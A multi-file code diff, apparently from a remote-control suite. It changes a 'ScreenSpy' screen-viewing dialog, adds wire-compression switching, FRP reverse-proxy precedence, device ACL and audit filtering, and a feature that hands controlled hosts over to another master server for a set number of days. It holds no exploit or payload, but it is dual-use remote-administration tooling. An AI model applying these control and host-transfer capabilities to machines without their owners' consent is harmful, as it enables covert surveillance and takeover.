CSize sz = dc.GetTextExtent(m_strInfo);
// 用最宽的数字占位测宽,而不是实际文本:FPS / 速率每秒都在变,按实际文本
// 量宽会让窗口在位数进位、KB/MB 单位切换时每秒 resize 一次,分层窗口 resize
// 会闪。这样宽度只随质量名变化。
CString kbSample, mbSample;
kbSample.Format(_T("888 FPS | 8888 KB/s | %s"), m_strQuality.GetString());
mbSample.Format(_T("888 FPS | 888.8 MB/s | %s"), m_strQuality.GetString());
int cx = max(dc.GetTextExtent(kbSample).cx, dc.GetTextExtent(mbSample).cx);
dc.SelectObject(pOldFont);
int w = sz.cx + kStatusInfoPadX * 2;
int w = cx + kStatusInfoPadX * 2;
if (w < kStatusInfoMinWidth)
w = kStatusInfoMinWidth;
w = (w + kStatusInfoWidthStep - 1) / kStatusInfoWidthStep * kStatusInfoWidthStep;
@@ -538,6 +543,8 @@ void CStatusInfoWnd::UpdateInfo(double fps, double kbps, const CString& quality)
else
m_strInfo.Format(_T("%.0f FPS | %.0f KB/s | %s"), fps, kbps, quality.GetString());
m_strQuality = quality;
// 文本变了宽度就可能变(切档原因的四种文案长度不同),隐藏时也算,
// 免得下次 Show 出来先窄一帧再撑开。
ResizeToFit();
@@ -698,16 +705,27 @@ void CStatusInfoWnd::OnPaint()
CPaintDC dc(this);
CRect rc;
GetClientRect(&rc);
if (rc.IsRectEmpty())
return;
// 背景
dc.FillSolidRect(rc, RGB(40, 40, 40));
// 分层窗口上分两步画(先擦背景再写字),合成器可能采到中间的纯色帧,
// 每秒刷新一次就表现为闪。整帧画进内存 DC,一次 BitBlt 上屏。
CDC memDC;
memDC.CreateCompatibleDC(&dc);
CBitmap bmp;
bmp.CreateCompatibleBitmap(&dc, rc.Width(), rc.Height());
CBitmap* pOldBmp = memDC.SelectObject(&bmp);
// 文字
dc.SetBkMode(TRANSPARENT);
dc.SetTextColor(RGB(220, 220, 220));
CFont* pOldFont = dc.SelectObject(&m_infoFont);
dc.DrawText(m_strInfo, rc, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
dc.SelectObject(pOldFont);
memDC.FillSolidRect(rc, RGB(40, 40, 40));
memDC.SetBkMode(TRANSPARENT);
memDC.SetTextColor(RGB(220, 220, 220));
CFont* pOldFont = memDC.SelectObject(&m_infoFont);
memDC.DrawText(m_strInfo, rc, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
memDC.SelectObject(pOldFont);
dc.BitBlt(0, 0, rc.Width(), rc.Height(), &memDC, 0, 0, SRCCOPY);
memDC.SelectObject(pOldBmp);
}
BOOL CStatusInfoWnd::OnEraseBkgnd(CDC* pDC)
@@ -3442,7 +3460,21 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
SendScaledMouseMessage(pMsg, true);
break;
case WM_MOUSEMOVE:
// Android(含 TV/盒子)把悬停的 mousemove 翻译成焦点移动;MFC 控制端只在
// 按住左键拖动时转发,避免鼠标划过画面时远程焦点乱跳。触摸屏浏览器的输入
// 走 Web 前端的 touch 处理器,不经过这里。
if (m_bIsCtrl) {
if (m_androidHost < 0 && m_ClientID != 0 && g_2015RemoteDlg) {
CString clientType;
if (g_2015RemoteDlg->GetHostClientType(m_ClientID, clientType))
m_androidHost = clientType.CompareNoCase(_T("APK")) == 0 ? 1 : 0;
}
if (m_androidHost == 1 && !(pMsg->wParam & MK_LBUTTON))
break;
}
SendScaledMouseMessage(pMsg, true);
break;
case WM_MOUSEWHEEL: {
+7 -3
View File
@@ -181,14 +181,15 @@ protected:
private:
CString m_strInfo;
CString m_strQuality; // 最近一次的质量名,测宽时按最宽数字占位用它拼样本
int m_nOpacityLevel;
bool m_bVisible;
// 宽度按文本自适应。原来写死 170,档位名后面跟出「(链路改善)」这类切档原因时
// 会被截断;170 现在只是下限。
// 宽度按质量名自适应。原来写死 170,档位名后面跟出「(链路改善)」这类切档原因时
// 会被截断;170 只是下限。FPS / 速率的位数变化不再影响宽度,避免每秒 resize。
int m_nWidth = 170;
CFont m_infoFont; // 绘制与测量共用,Create 里建一次
int MeasureWidth(); // 当前文本的窗口宽度(不小于下限,按 16px 取整)
int MeasureWidth(); // 按最宽占位算窗口宽度(不小于下限,按 16px 取整)
void ResizeToFit(); // 宽度有变化时改窗口大小,保持中心不动
// 拖动支持
@@ -208,6 +209,9 @@ class CScreenSpyDlg : public DialogBase
DECLARE_DYNAMIC(CScreenSpyDlg)
CToolbarDlg* m_pToolbar = nullptr;
CMy2015RemoteDlg* m_pParent = nullptr;
// -1=尚未解析, 0=非 Android, 1=Android(APK)。只在 UI 线程读写:PreTranslateMessage
// 首次用到时解析并缓存,避免每次 mousemove 都查主连接。
int m_androidHost = -1;
public:
CStatusInfoWnd* m_pStatusInfoWnd = nullptr;
+4
View File
@@ -741,6 +741,10 @@ public:
{
return Parser.m_nFlagType;
}
virtual int GetCompressMethod() const override
{
return CompressMethod;
}
// Write compressed buffer.
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1)
{
+5 -2
View File
@@ -130,11 +130,14 @@ BOOL CSettingDlg::OnInitDialog()
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
m_sPublicIP = savedMaster.empty() ? localPublicIP.c_str() : savedMaster.c_str();
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
} else if (!frpAutoServer.empty()) {
} else if (!frpAutoServer.empty() && !(frpEnabled && !savedMaster.empty())) {
// 场景 2: 上级配置了 FRP
// 本地已启用自有 FRP(UseFrp + 已配置主控地址)时不走这里:
// 此时主控地址以本地 FRP 为准,与 GetEffectiveMasterAddress 的规则一致。
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
m_sPublicIP = frpAutoServer.c_str();
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
SetDlgItemText(IDC_STATIC_SET_IP_HINT,
_TR("该地址由上级自动 FRP 提供(端口由上级分配),无需修改"));
} else if (frpEnabled) {
// 场景 3: 启用了本地 FRP(FRP服务器应有公网IP)
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
+1 -1
View File
@@ -46,7 +46,7 @@
// 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏
#define BRAND_VERSION "1.4.3"
#define BRAND_VERSION "1.4.4"
// 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
+9
View File
@@ -41,6 +41,7 @@ public:
virtual std::string GetProtocol() const = 0;
virtual int GetServerPort() const = 0;
virtual FlagType GetFlagType() const = 0;
virtual int GetCompressMethod() const = 0; // COMPRESS_ZSTD / COMPRESS_ZLIB / COMPRESS_NONE
virtual std::string GetGroupName() const = 0;
virtual uint64_t GetAliveTime()const = 0;
virtual void SetLastHeartbeat(uint64_t time) = 0;
@@ -199,6 +200,14 @@ public:
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH) != 0;
}
// 检查客户端是否支持远程切换线缆压缩(COMMAND_SET_COMPRESS,zstd / zlib)。
// 只有声明 CLIENT_CAP_COMPRESS_SWITCH 的 Windows 客户端认识。
bool SupportsCompressSwitch() const {
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
if (caps.IsEmpty()) return false;
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_COMPRESS_SWITCH) != 0;
}
// 检查客户端是否支持收到 COMMAND_UPDATE 下发的 APK 后拉起系统安装器。
// 只有新版 Android 客户端声明;老 APK 收到命令会走 default 静默丢弃,
// 服务端据此提示「先手动装一次新版」。
+13
View File
@@ -98,6 +98,7 @@ RTT=RTT
生成服务端=Server erstellen
即时消息=Nachricht
虚拟屏幕=Virtueller Bildschirm
实验功能=Experimentelle Funktionen
隐私屏幕=Datenschutz-Bildschirm
代理服务=Proxy-Dienst
注入设置=Injektionskonfiguration
@@ -2172,6 +2173,9 @@ TLS
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel).
TLS传输=TLS-Transport
取消TLS=TLS deaktivieren
线缆压缩:ZSTD=Leitungskompression: ZSTD
线缆压缩:ZLIB=Leitungskompression: ZLIB
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=Ausgewaehlte Hosts unterstuetzen das Umschalten der Leitungskompression nicht (ein neuerer Windows-Client ist erforderlich)
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=TLS-Transport fuer die ausgewaehlten Hosts aktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen)
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen)
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden
@@ -2261,3 +2265,12 @@ APK
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=Der Reparaturbefehl wurde in die Zwischenablage kopiert.\n\nDruecken Sie Win+X, oeffnen Sie Terminal (Administrator), fuegen Sie den Befehl ein und starten Sie das Programm danach neu.
已复制=Kopiert
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=Dieser Android-Host hat kein Root, daher ist die Prozessliste nicht verfuegbar.\n\nAb Android 7 ist /proc durch hidepid/SELinux eingeschraenkt; eine normale App kann keine anderen Prozesse auflisten.
; MCP settings preset buttons
只读模式=Nur-Lese-Modus
智能模式=Intelligenter Modus
; FRP auto proxy messages (local FRP precedence)
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] Vorgelagerter FRP-Reverse-Proxy aktiviert (Remote-Port %d); lokales FRP ist aktiv, Master-Adresse unveraendert
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] Vorgelagerter FRP-Reverse-Proxy gewechselt (Remote-Port %d -> %d); lokales FRP ist aktiv, Master-Adresse unveraendert
; FRP address hint (upstream-provided)
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=Vom FRP des vorgelagerten Servers (Port dort vergeben); keine Aenderung noetig
+12
View File
@@ -2187,6 +2187,9 @@ TLS
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key).
TLS传输=TLS Transport
取消TLS=Disable TLS
线缆压缩:ZSTD=Wire compression: ZSTD
线缆压缩:ZLIB=Wire compression: ZLIB
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=Some selected hosts do not support switching wire compression (a newer Windows client is required)
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=Enable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted)
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=Disable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted)
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server TLS certificate is not enabled; cannot toggle client TLS transport
@@ -2273,3 +2276,12 @@ APK
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=The fix command has been copied to the clipboard.\n\nPress Win+X to open Terminal (Admin), paste and run it, then restart this program.
已复制=Copied
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=This Android host is not rooted, so the process list is unavailable.\n\nAndroid 7+ restricts /proc with hidepid/SELinux, so a normal app cannot enumerate other processes.
; MCP settings preset buttons
只读模式=Read-only mode
智能模式=Smart mode
; FRP auto proxy messages (local FRP precedence)
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] Upstream FRP reverse proxy enabled (remote port %d); local FRP is enabled, master address unchanged
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] Upstream FRP reverse proxy switched (remote port %d → %d); local FRP is enabled, master address unchanged
; FRP address hint (upstream-provided)
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=Provided by the upstream FRP (port assigned there); no change needed
+12
View File
@@ -2180,6 +2180,9 @@ TLS
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=憑證/私鑰載入失敗,加密功能未生效。請檢查檔案路徑與格式(憑證 PEM、私鑰 PKCS#8)。
TLS传输=TLS 傳輸
取消TLS=停用 TLS
线缆压缩:ZSTD=線纜壓縮:ZSTD
线缆压缩:ZLIB=線纜壓縮:ZLIB
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=選取的主機中有用戶端版本不支援線纜壓縮切換(需要新版 Windows 用戶端)
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=確定對選取主機啟用 TLS 傳輸嗎?\n(用戶端立即生效並斷線重連,正在進行的遠端工作階段會中斷)
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=確定取消選取主機的 TLS 傳輸嗎?\n(用戶端立即生效並斷線重連,正在進行的遠端工作階段會中斷)
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=伺服器未啟用 TLS 憑證,無法切換用戶端 TLS 傳輸
@@ -2266,3 +2269,12 @@ APK
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=修復命令已複製到剪貼簿。\n\n請按 Win+X 開啟「終端機(系統管理員)」,貼上執行後再重新啟動本程式。
已复制=已複製
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=該 Android 主機未取得 root,無法查看處理程序清單。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,一般應用程式無法列舉其他處理程序。
; MCP settings preset buttons
只读模式=唯讀模式
智能模式=智慧模式
; FRP auto proxy messages (local FRP precedence)
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] 已啟用上級 FRP 反向代理(遠端連接埠 %d);本機 FRP 已啟用,主控位址保持不變
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] 上級 FRP 反向代理設定已切換(遠端連接埠 %d → %d);本機 FRP 已啟用,主控位址保持不變
; FRP address hint (upstream-provided)
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=此位址由上級自動 FRP 提供(連接埠由上級分配),無需修改
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

+6 -2
View File
@@ -299,6 +299,8 @@
#define IDB_BITMAP_DISCLAIMER 415
#define IDB_BITMAP_COPYNAME 416
#define IDB_BITMAP_RUN_TEST 417
#define IDB_BITMAP_COMPRESS_ZSTD 418
#define IDB_BITMAP_COMPRESS_ZLIB 419
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -1123,6 +1125,8 @@
#define ID_PROTO_SWITCH_WSS 33100
// 高级菜单开关:把服务端 TLS 证书内嵌进下发给客户端的 ServerDll
#define ID_TOOL_EMBED_TLS_ANCHOR 33101
#define ID_EXPERIMENT_COMPRESS_ZSTD 33107
#define ID_EXPERIMENT_COMPRESS_ZLIB 33108
// 高级 → 运行测试程序:把内存里的 ServerDll 在主控进程内加载,本机上线一台测试主机
#define ID_TOOL_RUN_TEST 33106
#define ID_EXIT_FULLSCREEN 40001
@@ -1131,8 +1135,8 @@
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 418
#define _APS_NEXT_COMMAND_VALUE 33107
#define _APS_NEXT_RESOURCE_VALUE 420
#define _APS_NEXT_COMMAND_VALUE 33109
#define _APS_NEXT_CONTROL_VALUE 2621
#define _APS_NEXT_SYMED_VALUE 105
#endif
+3
View File
@@ -0,0 +1,3 @@
; Host identity block for auxiliary tooling/diagnostics.
EXPORTS
HostIdentityBlock=?g_MasterID@@3PADA
+6
View File
@@ -72,6 +72,7 @@ Web 应用能力 (Phase 3-7):
- **鼠标 / 键盘输入**: Win32 消息映射 (`WM_*` / `VK_*` / `MK_*`),MSG64 48 字节布局直传客户端
- **Web 终端**: xterm.js + Windows ConPTY / 旧 cmd 管道双模式;二进制 "TRM1" 帧分流;尺寸自适应;单设备单 viewer
- **用户与分组**: admin 可创建/删除 viewer 账号、配置 allowed_groups,users.json 原子写入
- **转移主机**: 把主机临时交给另一台 master(通常是 MFC 服务端)做客户端升级,到期由客户端自动连回本机;转移状态持久化并在设备卡片上倒计时显示。仅 Go 服务端下发 `device_list.transfer`,MFC 共用同一份页面但不会出现该入口
## 支持的命令
@@ -102,6 +103,7 @@ Web 应用能力 (Phase 3-7):
| `COMMAND_SHELL` | 40 | 请求开启 shell 子连接 |
| `CMD_TERMINAL_RESIZE` | 81 | PTY 尺寸 (cols / rows int16 LE) |
| `COMMAND_BYE` | 204 | 优雅断开屏幕 / 终端 |
| `COMMAND_ASSIGN_MASTER` | 207 | 转移主机:`host:port:days::transport` + `SHARE_TYPE_YAMA_FOREVER`(transport:0=TCP / 5=WS / 6=WSS),客户端到期自动连回本机 |
| `CMD_MASTERSETTING` | 215 | 主控配置 + HMAC 签名 (1000B) |
| `CMD_HEARTBEAT_ACK` | 216 | 心跳响应(携带 Authorized 字段) |
| `TOKEN_CONN_AUTH` | 246 | 子连接身份握手响应 (256B) |
@@ -172,6 +174,9 @@ VSCode F5 调试时由 `sync-web-assets` preLaunchTask 自动同步。
| `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` |
| `YAMA_AUDIT_LOG` | 安全审计日志路径(JSON lines)。默认 `logs/audit.log`;设为 `off` / `none` / `0` / `-` 关闭独立文件(审计记录仍会写入 `logs/server.log`)。审计记录带 `audit=true` 和稳定的 `event` 名,便于告警与检索。 | `/var/log/yama/audit.log` |
| `YAMA_SSO_JWT_SECRET` | **[SSO]** Shared HS256 secret for bridging the parent portal's `auth_token` JWT into a YAMA web session via `/sso`. Must equal the upstream portal's signing key (FMS: `SERVER_PRIVATE_KEY`). **Only `admin` portal users are auto-logged-in**; other roles still need YAMA's own web login. Unset → SSO disabled, `/sso` returns 401. | `<shared-secret>` |
| `YAMA_TRANSFER_TARGET` | **[转移主机]** 预填 Web UI「转移主机」弹窗的目标 `host:port`。仅作默认值,操作员仍可改填其它地址;留空则按钮照常可用、输入框为空。 | `mfc.example.com:6543` |
| `YAMA_TRANSFER_DAYS` | **[转移主机]** 预填的转移天数(到期后客户端自动连回本机),默认 `1`。取值 `(0, 365]`,弹窗输入框下限为 `0.5`;非正数或无法解析时忽略并沿用默认值。 | `2` |
| `YAMA_TRANSFER_TRANSPORT` | **[转移主机]** 转移后主机连接目标主控所用的传输方式:`0`=TCP(默认,MFC 主控直连端口)、`5`=WS、`6`=WSS。命令里始终携带该段——缺省时客户端会沿用当前链路的传输方式,WSS 主机转移到直连主控会一直连不上。 | `0` |
```bash
# Linux/macOS
@@ -347,6 +352,7 @@ Web 端与设备端的认证、授权、远程控制操作会额外写入**独
| `remote.clipboard.get` / `.set` | 剪贴板读取 / 写入(只记字节数,**不记内容**) |
| `remote.rdp_reset` | 远程 RDP 会话归位操作 |
| `admin.user.create` / `admin.user.delete` / `admin.device.delete` | 管理操作(`target` / `device_id` / `mode`) |
| `admin.device.transfer` | 转移主机(`device_id` / `target` / `days` / `until`);被拒时带 `ok:false` 与 `reason`(`invalid_target`、`already_transferred`、`offline`、`send_failed`),并以 `WARN` 级别记录 |
| `admin.audit.query` | 管理员在网页查询审计日志(记录筛选条件与命中数) |
| `device.online` / `device.offline` | 受控设备上线 / 下线 |
| `device.auth.success` / `.failure` / `.throttled` / `.heartbeat.success` | 设备 TCP 授权结果(**只记 passcode 长度,不记 passcode**) |
+46
View File
@@ -50,6 +50,12 @@ type Query struct {
Keyword string `json:"keyword"` // case-insensitive substring of the raw record
WarnOnly bool `json:"warn_only"` // only level=warn records
// DeviceAllowed, when non-nil, drops records that carry a device_id the
// predicate rejects. The MCP endpoint uses it to hide devices bound to a
// web user; the web audit page leaves it nil. Not serialisable: it is a
// server-side policy hook, not a client filter.
DeviceAllowed func(deviceID string) bool `json:"-"`
// EventContains is a case-insensitive substring match on the event column.
// The web UI uses Event's exact/prefix forms; the MCP get_audit_log tool
// exposes a "type contains" filter, which maps here.
@@ -219,6 +225,13 @@ func recordMatches(rec map[string]any, line string, q Query, from time.Time, has
if q.DeviceID != "" && StringField(rec, "device_id") != q.DeviceID {
return false
}
if q.DeviceAllowed != nil {
for _, id := range RecordDeviceIDs(rec) {
if !q.DeviceAllowed(id) {
return false
}
}
}
if q.WarnOnly && StringField(rec, "level") != "warn" {
return false
}
@@ -256,6 +269,39 @@ func eventFilterMatches(filter, event string) bool {
}
}
// RecordDeviceIDs returns every device identifier an audit record names.
// Producers spell the target differently: web remote-control events use
// device_id, MCP tool calls use device, and admin bind/unbind records use a
// devices array. A device record written by the MCP audit path uses "-" for
// "no device"; that sentinel is not an id.
func RecordDeviceIDs(rec map[string]any) []string {
var ids []string
add := func(v any) {
s, ok := v.(string)
if !ok {
return
}
s = strings.TrimSpace(s)
if s == "" || s == "-" {
return
}
ids = append(ids, s)
}
add(rec["device_id"])
add(rec["device"])
switch list := rec["devices"].(type) {
case []any:
for _, item := range list {
add(item)
}
case []string:
for _, item := range list {
add(item)
}
}
return ids
}
// StringField returns rec[key] when it is a string, else "".
func StringField(rec map[string]any, key string) string {
s, _ := rec[key].(string)
+90
View File
@@ -11,6 +11,7 @@ import (
"net/http"
"os"
"os/signal"
"path/filepath"
"strconv"
"strings"
"syscall"
@@ -1173,6 +1174,51 @@ func main() {
log.Warn("Failed to load %s: %v (continuing with admin only)", usersFile, err)
}
// Per-device owner bindings live next to users.json. A malformed file is
// fatal: silently starting with an empty table would make every private
// device public to all admin-role users.
aclFile := os.Getenv("YAMA_DEVICE_ACL_FILE")
if aclFile == "" {
aclFile = filepath.Join(filepath.Dir(usersFile), "device_acl.json")
rememberDefault("YAMA_DEVICE_ACL_FILE", aclFile)
}
deviceACL := web.NewDeviceACL(aclFile)
if err := deviceACL.Load(); err != nil {
log.Fatal("Failed to load device ACL: %v", err)
}
log.Info("Device ACL loaded from %s (%d binding(s))", aclFile, len(deviceACL.Snapshot()))
// Per-device remarks (the web card's "hostname (remark)" label) live next
// to the ACL. A malformed file only loses labels — it carries no access
// rights — so the server still starts; the store then refuses every edit
// so the unreadable file is never overwritten.
notesFile := os.Getenv("YAMA_DEVICE_NOTES_FILE")
if notesFile == "" {
notesFile = filepath.Join(filepath.Dir(usersFile), "device_notes.json")
rememberDefault("YAMA_DEVICE_NOTES_FILE", notesFile)
}
deviceNotes := web.NewDeviceNotes(notesFile)
if err := deviceNotes.Load(); err != nil {
log.Warn("Failed to load device remarks from %s: %v (remark edits are refused until the file is fixed)", notesFile, err)
} else {
log.Info("Device remarks loaded from %s (%d remark(s))", notesFile, len(deviceNotes.Snapshot()))
}
// Per-device group overrides (the web console's "edit group") live next to
// the remark table with the same fail-safe policy: a malformed file is
// never overwritten and edits are refused until it is fixed.
groupsFile := os.Getenv("YAMA_DEVICE_GROUPS_FILE")
if groupsFile == "" {
groupsFile = filepath.Join(filepath.Dir(usersFile), "device_groups.json")
rememberDefault("YAMA_DEVICE_GROUPS_FILE", groupsFile)
}
deviceGroups := web.NewDeviceGroups(groupsFile)
if err := deviceGroups.Load(); err != nil {
log.Warn("Failed to load device groups from %s: %v (group edits are refused until the file is fixed)", groupsFile, err)
} else {
log.Info("Device groups loaded from %s (%d override(s))", groupsFile, len(deviceGroups.Snapshot()))
}
// TCP authorization (TOKEN_AUTH) brute-force throttle. Keyed by source IP
// (the real TCP peer — there is no X-Forwarded-For on the device port).
// Generous enough that a NAT office whose devices all re-auth at once is
@@ -1259,6 +1305,12 @@ func main() {
AuditPath: auditFile,
Port: *httpPort,
Bind: bindAddr,
// Devices bound to a web user are invisible/unreachable through MCP.
DeviceACL: deviceACL,
// Web-console remarks are returned by list_hosts/get_host_detail.
DeviceRemarks: deviceNotes,
// Web-console group overrides are applied to the group field/filter.
DeviceGroups: deviceGroups,
})
if mcpSrv.Enabled() {
// Terminal tools need the hub's shell events (ready/data/closed).
@@ -1358,6 +1410,38 @@ func main() {
} else {
log.Info("SSO disabled (YAMA_SSO_JWT_SECRET not set) — web login only")
}
// "Transfer host": the web UI hands a host over to another master (the MFC
// server) so that master can push a client upgrade to it; the host returns
// to this server on its own once the days run out. The target only
// pre-fills the dialog — the operator can still type another one, and an
// empty value keeps the feature available with an empty field.
transferTarget := strings.TrimSpace(os.Getenv("YAMA_TRANSFER_TARGET"))
transferDays := 1.0
if v := strings.TrimSpace(os.Getenv("YAMA_TRANSFER_DAYS")); v != "" {
if d, err := strconv.ParseFloat(v, 64); err == nil && d > 0 {
transferDays = d
} else {
log.Info("Ignoring YAMA_TRANSFER_DAYS=%q (want a positive number)", v)
}
}
// The link the transferred host uses to reach the target. It is always in
// the command: clients keep their current link when it is missing, so a
// WSS-managed host would try WSS against a plain-TCP master. Default TCP
// matches what an MFC master listens on.
transferTransport := protocol.TransferTransportTCP
if v := strings.TrimSpace(os.Getenv("YAMA_TRANSFER_TRANSPORT")); v != "" {
switch v {
case "0", "5", "6":
transferTransport, _ = strconv.Atoi(v)
default:
log.Info("Ignoring YAMA_TRANSFER_TRANSPORT=%q (want 0=TCP, 5=WS, 6=WSS)", v)
}
}
if transferTarget != "" {
log.Info("Host transfer dialog pre-filled with %s (%.1f days, transport=%d)",
transferTarget, transferDays, transferTransport)
}
webCfg := web.Config{
AllowedOrigins: allowedOrigins,
LoginIPLimit: wsauth.NewRateLimiter(10, time.Minute),
@@ -1366,6 +1450,12 @@ func main() {
BasePath: basePath,
BrandName: brandName,
SSO: ssoDetector,
DeviceACL: deviceACL,
DeviceNotes: deviceNotes,
DeviceGroups: deviceGroups,
TransferTarget: transferTarget,
TransferDays: transferDays,
TransferTransport: transferTransport,
}
// Start HTTP server for web UI. Hub gives it read-only access to the
+81
View File
@@ -58,6 +58,14 @@ type Record struct {
FirstSeen int64 `json:"first_seen"`
LastSeen int64 `json:"last_seen"`
// TransferTo / TransferUntil mark a host that was handed over to another
// master (COMMAND_ASSIGN_MASTER): target is "host:port", until is the unix
// second the client goes back to its original master on its own. The store
// only remembers it for display — it never acts on the deadline, and a
// login here clears it because that means the host is back.
TransferTo string `json:"transfer_to,omitempty"`
TransferUntil int64 `json:"transfer_until,omitempty"`
}
type fileShape struct {
@@ -165,6 +173,13 @@ func (s *Store) upsertAt(d hub.DeviceInfo, at time.Time) {
rec.IP = d.IP
rec.Screen = d.Screen
rec.LastSeen = now
// A login on this server means the host is here, not at the master it was
// handed to: either it came back early (the upgrade finished, or the target
// was unreachable) or the deadline passed while this server was down. In
// both cases the marker would label an online card as "transferred" and
// keep the operator from transferring it again until the deadline.
rec.TransferTo = ""
rec.TransferUntil = 0
s.online[d.ID] = true
s.pruneLocked()
@@ -244,6 +259,59 @@ func (s *Store) Offline(online map[string]struct{}) []hub.DeviceInfo {
return out
}
// SetTransfer marks id as handed over to target ("host:port") until the given
// unix second. Reports false when the device has no history record — only a
// device that logged in at least once can be transferred, and the marker has
// nowhere to live otherwise.
func (s *Store) SetTransfer(id, target string, until int64) bool {
if id == "" || target == "" || until <= 0 {
return false
}
s.mu.Lock()
defer s.mu.Unlock()
rec, ok := s.devices[id]
if !ok {
return false
}
rec.TransferTo = target
rec.TransferUntil = until
s.markDirtyLocked()
return true
}
// ClearTransfer forgets the handover marker and reports whether one was set.
func (s *Store) ClearTransfer(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
rec, ok := s.devices[id]
if !ok || rec.TransferUntil == 0 {
return false
}
rec.TransferTo = ""
rec.TransferUntil = 0
s.markDirtyLocked()
return true
}
// Transfer returns the current handover marker, dropping it once the deadline
// has passed: the client returns to its original master by itself, so an
// expired marker would only mislabel the card forever.
func (s *Store) Transfer(id string) (target string, until int64, ok bool) {
s.mu.Lock()
defer s.mu.Unlock()
rec, found := s.devices[id]
if !found || rec.TransferUntil == 0 {
return "", 0, false
}
if time.Now().Unix() >= rec.TransferUntil {
rec.TransferTo = ""
rec.TransferUntil = 0
s.markDirtyLocked()
return "", 0, false
}
return rec.TransferTo, rec.TransferUntil, true
}
// Remove deletes the persisted record for id and reports whether one existed.
// This is the web UI's explicit "delete" for an offline device: an offline
// record has no live agent to uninstall, so forgetting it is all "delete" can
@@ -264,6 +332,19 @@ func (s *Store) Remove(id string) bool {
